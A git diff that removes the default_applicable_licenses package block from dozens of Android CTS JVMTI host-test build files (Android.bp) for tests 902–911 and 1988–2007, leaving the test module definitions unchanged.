diff --git a/hostsidetests/jvmti/run-tests/test-1988/Android.bp b/hostsidetests/jvmti/run-tests/test-1988/Android.bp
index 13e6657..fe73550 100644
--- a/hostsidetests/jvmti/run-tests/test-1988/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1988/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1988HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
index eeab200..f86f27b 100644
--- a/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1988/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1988DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1989/Android.bp b/hostsidetests/jvmti/run-tests/test-1989/Android.bp
index d2420c7..6cf902b 100644
--- a/hostsidetests/jvmti/run-tests/test-1989/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1989/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1989HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
index 0785bf5..5c61276 100644
--- a/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1989/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1989DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1990/Android.bp b/hostsidetests/jvmti/run-tests/test-1990/Android.bp
index 8c953f3..d8236d1 100644
--- a/hostsidetests/jvmti/run-tests/test-1990/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1990/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1990HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
index df96674..67cdde3 100644
--- a/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1990/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1990DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1991/Android.bp b/hostsidetests/jvmti/run-tests/test-1991/Android.bp
index 216de8b..b7457f4 100644
--- a/hostsidetests/jvmti/run-tests/test-1991/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1991/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1991HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
index 8c1e81b..9287347 100644
--- a/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1991DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1992/Android.bp b/hostsidetests/jvmti/run-tests/test-1992/Android.bp
index 1fc7f43..6dd5bac 100644
--- a/hostsidetests/jvmti/run-tests/test-1992/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1992/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1992HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
index b62e77f..9f033af 100644
--- a/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1992DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1994/Android.bp b/hostsidetests/jvmti/run-tests/test-1994/Android.bp
index 90c4e59..7445270 100644
--- a/hostsidetests/jvmti/run-tests/test-1994/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1994/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1994HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
index 3c00d36..0554ed3 100644
--- a/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1994DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1995/Android.bp b/hostsidetests/jvmti/run-tests/test-1995/Android.bp
index 8561296..c5c9b2f 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1995/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1995HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
index 8e873a8..39e1f1c 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1995DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1996/Android.bp b/hostsidetests/jvmti/run-tests/test-1996/Android.bp
index bc17d45..f74d839 100644
--- a/hostsidetests/jvmti/run-tests/test-1996/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1996/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1996HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
index 8211174..38948d1 100644
--- a/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1996DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1997/Android.bp b/hostsidetests/jvmti/run-tests/test-1997/Android.bp
index 266e3b3..c604480 100644
--- a/hostsidetests/jvmti/run-tests/test-1997/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1997/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1997HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
index fc42090..d00d04b 100644
--- a/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1997DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1998/Android.bp b/hostsidetests/jvmti/run-tests/test-1998/Android.bp
index c3d57f1..04d2ee1 100644
--- a/hostsidetests/jvmti/run-tests/test-1998/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1998/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1998HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
index 7e4175c..080b99b 100644
--- a/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1998DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1999/Android.bp b/hostsidetests/jvmti/run-tests/test-1999/Android.bp
index 364f2d8..bb38d8e 100644
--- a/hostsidetests/jvmti/run-tests/test-1999/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1999/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest1999HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
index 46fb66f..ebab8d8 100644
--- a/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest1999DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2001/Android.bp b/hostsidetests/jvmti/run-tests/test-2001/Android.bp
index 8288395..788d19b 100644
--- a/hostsidetests/jvmti/run-tests/test-2001/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2001/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest2001HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
index 675fba1..fa64b10 100644
--- a/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest2001DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2002/Android.bp b/hostsidetests/jvmti/run-tests/test-2002/Android.bp
index 1a2138d..6e17916 100644
--- a/hostsidetests/jvmti/run-tests/test-2002/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2002/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest2002HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
index 809a5ae..695244f 100644
--- a/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest2002DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2003/Android.bp b/hostsidetests/jvmti/run-tests/test-2003/Android.bp
index 798ae8e..5c0a0e7 100644
--- a/hostsidetests/jvmti/run-tests/test-2003/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2003/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest2003HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
index cab0a36..0b7dc79 100644
--- a/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest2003DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2004/Android.bp b/hostsidetests/jvmti/run-tests/test-2004/Android.bp
index 2926764..eda8530 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2004/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest2004HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
index 6b9985c..507c430 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest2004DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2005/Android.bp b/hostsidetests/jvmti/run-tests/test-2005/Android.bp
index 47af189..866c971 100644
--- a/hostsidetests/jvmti/run-tests/test-2005/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2005/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest2005HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
index 238d9ac..a8b75b7 100644
--- a/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest2005DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2006/Android.bp b/hostsidetests/jvmti/run-tests/test-2006/Android.bp
index 8b0ad46..51500ae 100644
--- a/hostsidetests/jvmti/run-tests/test-2006/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2006/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest2006HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
index 05b0687..2d6cc38 100644
--- a/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest2006DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2007/Android.bp b/hostsidetests/jvmti/run-tests/test-2007/Android.bp
index b320fbf..9a9a89a 100644
--- a/hostsidetests/jvmti/run-tests/test-2007/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2007/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest2007HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
index 6ea9ae9..72acfa6 100644
--- a/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest2007DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.bp b/hostsidetests/jvmti/run-tests/test-902/Android.bp
index 2299052..ae7a8ed 100644
--- a/hostsidetests/jvmti/run-tests/test-902/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest902HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.bp b/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
index dffb7b8..3083d65 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest902DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.bp b/hostsidetests/jvmti/run-tests/test-903/Android.bp
index 615f57a..2fdc29d 100644
--- a/hostsidetests/jvmti/run-tests/test-903/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest903HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.bp b/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
index 2e2d6fe..bee2731 100644
--- a/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest903DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.bp b/hostsidetests/jvmti/run-tests/test-904/Android.bp
index ce0eeaa..df5c01f 100644
--- a/hostsidetests/jvmti/run-tests/test-904/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest904HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.bp b/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
index 9da823a..966dd2d 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest904DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.bp b/hostsidetests/jvmti/run-tests/test-905/Android.bp
index cd2c248..5889c77 100644
--- a/hostsidetests/jvmti/run-tests/test-905/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest905HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.bp b/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
index 022d70f..70ade13 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest905DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.bp b/hostsidetests/jvmti/run-tests/test-906/Android.bp
index 8491820..e72f5c2 100644
--- a/hostsidetests/jvmti/run-tests/test-906/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest906HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.bp b/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
index b6bd3ac..057dee2 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest906DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.bp b/hostsidetests/jvmti/run-tests/test-907/Android.bp
index 518fc7d..dd5859c 100644
--- a/hostsidetests/jvmti/run-tests/test-907/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest907HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.bp b/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
index da758c1..3d6a249 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest907DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.bp b/hostsidetests/jvmti/run-tests/test-908/Android.bp
index aef930a..3837c79 100644
--- a/hostsidetests/jvmti/run-tests/test-908/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest908HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.bp b/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
index f6de03b..b49570d 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest908DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.bp b/hostsidetests/jvmti/run-tests/test-910/Android.bp
index cc46813..8b717ec 100644
--- a/hostsidetests/jvmti/run-tests/test-910/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest910HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.bp b/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
index 9303e1e..9ef6822 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest910DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.bp b/hostsidetests/jvmti/run-tests/test-911/Android.bp
